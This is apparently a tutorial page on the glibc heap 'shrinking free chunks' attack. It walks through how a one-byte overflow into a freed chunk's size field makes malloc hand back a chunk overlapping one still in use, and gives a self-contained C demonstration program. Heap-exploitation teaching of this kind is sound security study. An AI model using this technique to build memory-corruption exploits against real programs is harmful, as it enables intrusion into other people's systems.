Shrinking Free Chunks

This attack was described in ‘Glibc Adventures: The Forgotten Chunk‘. It makes use of a single byte heap overflow (commonly found due to the ‘off by one‘. The goal of this attack is to make ‘malloc’ return a chunk that overlaps with an already allocated chunk, currently in use. First 3 consecutive chunks in memory (a, b, c) are allocated and the middle one is freed. The first chunk is overflowed, resulting in an overwrite of the ‘size’ of the middle chunk. The least significant byte to 0 by the attacker. This ‘shrinks’ the chunk in size. Next, two small chunks (b1 and b2) are allocated out of the middle free chunk. The third chunk’s prev_size does not get updated as b + b->size no longer points to c. It, in fact, points to a memory region ‘before’ c. Then, b1 along with the c is freed. c still assumes b to be free (since prev_size didn’t get updated and hence c - c->prev_size still points to b) and consolidates itself with b. This results in a big free chunk starting from b and overlapping with b2. A new malloc returns this big chunk, thereby completing the attack. The following figure sums up the steps:

Summary of shrinking free chunks attack steps

Image Source: https://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

Consider this sample code (download the complete version here):

  1. struct chunk_structure {
  2.   size_t prev_size;
  3.   size_t size;
  4.   struct chunk_structure *fd;
  5.   struct chunk_structure *bk;
  6.   char buf[19];               // padding
  7. };
  9. void *a, *b, *c, *b1, *b2, *big;
  10. struct chunk_structure *b_chunk, *c_chunk;
  12. // Grab three consecutive chunks in memory
  13. a = malloc(0x100);                            // at 0xfee010
  14. b = malloc(0x200);                            // at 0xfee120
  15. c = malloc(0x100);                            // at 0xfee330
  17. b_chunk = (struct chunk_structure *)(b - 2*sizeof(size_t));
  18. c_chunk = (struct chunk_structure *)(c - 2*sizeof(size_t));
  20. // free b, now there is a large gap between 'a' and 'c' in memory
  21. // b will end up in unsorted bin
  22. free(b);
  24. // Attacker overflows 'a' and overwrites least significant byte of b's size
  25. // with 0x00. This will decrease b's size.
  26. *(char *)&b_chunk->size = 0x00;
  28. // Allocate another chunk
  29. // 'b' will be used to service this chunk.
  30. // c's previous size will not updated. In fact, the update will be done a few
  31. // bytes before c's previous size as b's size has decreased.
  32. // So, b + b->size is behind c.
  33. // c will assume that the previous chunk (c - c->prev_size = b/b1) is free
  34. b1 = malloc(0x80);                           // at 0xfee120
  36. // Allocate another chunk
  37. // This will come directly after b1
  38. b2 = malloc(0x80);                           // at 0xfee1b0
  39. strcpy(b2, "victim's data");
  41. // Free b1
  42. free(b1);
  44. // Free c
  45. // This will now consolidate with b/b1 thereby merging b2 within it
  46. // This is because c's prev_in_use bit is still 0 and its previous size
  47. // points to b/b1
  48. free(c);
  50. // Allocate a big chunk to cover b2's memory as well
  51. big = malloc(0x200);                          // at 0xfee120
  52. memset(big, 0x41, 0x200 - 1);
  54. printf("%s\n", (char *)b2);       // Prints AAAAAAAAAAA... !

big now points to the initial b chunk and overlaps with b2. Updating contents of big updates contents of b2, even when both these chunks are never passed to free.

Note that instead of shrinking b, the attacker could also have increased the size of b. This will result in a similar case of overlap. When ‘malloc’ requests another chunk of the increased size, b will be used to service this request. Now c‘s memory will also be part of this new chunk returned.